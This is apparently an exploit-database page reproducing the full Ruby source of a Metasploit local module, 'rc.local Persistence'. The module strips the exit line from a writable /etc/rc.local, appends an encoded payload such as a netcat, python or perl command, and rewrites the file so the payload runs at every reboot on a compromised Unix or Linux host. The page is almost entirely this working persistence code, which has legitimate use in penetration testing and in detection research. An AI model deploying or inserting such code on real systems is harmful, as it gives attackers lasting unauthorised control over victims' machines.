rc.local Payload Persistence Module

2018.08.21
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix def initialize(info = {}) super(update_info(info, 'Name' => 'rc.local Persistence', 'Description' => %q( This module will edit /etc/rc.local in order to persist a payload. The payload will be executed on the next reboot. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "#%\n", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python ruby netcat perl' } }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, 'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD. 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0 )) end def exploit unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true' fail_with Failure::BadConfig, '/etc/rc.local is not writable' end print_status('Reading /etc/rc.local') # read /etc/rc.local, but remove `exit 0` rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') # add payload and put back `exit 0` rc_local << "\n#{payload.encoded}\nexit 0\n" # write new file print_status('Patching /etc/rc.local') write_file('/etc/rc.local', rc_local) end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top